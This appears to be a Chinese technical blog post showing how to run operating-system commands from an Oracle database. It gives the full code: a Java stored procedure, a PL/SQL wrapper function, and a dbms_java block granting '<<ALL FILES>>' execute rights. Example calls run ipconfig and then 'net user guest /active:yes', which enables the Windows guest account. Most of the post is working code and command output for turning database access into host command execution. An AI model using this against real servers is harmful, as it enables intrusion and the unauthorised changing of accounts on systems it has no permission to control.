oracle执行系统命令

测试成功环境:windows XP+oracle 10g、window 2008 R2 + 11g

 

 

代码如下:

 

create or replace and compile Java Source named "OSCommand" as
-- java:        OS COMMAND

import java.io.*;
import java.lang.*;
public class OSCommand{
 
 
        public static String Run(String Command){
 
                Runtime rt = Runtime.getRuntime();
                int     rc = -1;
 
                try{
 
                        Process p = rt.exec( Command );
                        int bufSize = 32000;
                        int len = 0;
                        byte buffer[] = new byte[bufSize];
                        String s = null;
 
                        BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
                        len = bis.read( buffer, 0, bufSize );
 
                        rc = p.waitFor();
 
                        if ( len != -1 ){
                                s = new String( buffer, 0, len );
                                return( s );
                        }
 
                        return( rc+"" );
                }
 
                catch (Exception e){
                        e.printStackTrace();
                        return(  "-1\ncommand[" + Command + "]\n" + e.getMessage() );
                }
 
        }
}
/ 
show errors
 
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function:    OS EXEC
-- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc
--
language        JAVA
name            'OSCommand.Run(java.lang.String) return java.lang.String';
/ 
show errors
 
 

-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
        SCHEMA  varchar2(30) := 'SCOTT';
begin
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.io.FilePermission',
                '<<ALL FILES>>',
                'execute'
        );
 
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.lang.RuntimePermission',
                'writeFileDescriptor',
                '*'
        );
 
        dbms_java.grant_permission(
                SCHEMA,
                'SYS:java.lang.RuntimePermission',
                'readFileDescriptor',
                '*'
        );
 
commit;
end;
/ 
 
-- 查看本地连接信息
SQL> select OSexec('ipconfig') as STDOUT from dual;
 
STDOUT
--------------------------------------------------------------------------------
 
Windows IP ????
 
 
??????????? ????l?? 3:
 
   l??????? DNS ??? . . . . . . . :
   ????t?? IPv6 ???. . . . . . . . : *************
   IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
   ????????  . . . . . . . . . . . . : 255.255.255.0
   ??????. . . . . . . . . . . . . : 0.0.0.0

--激活guest账号
 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
 
STDOUT
--------------------------------------------------------------------------------
0
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值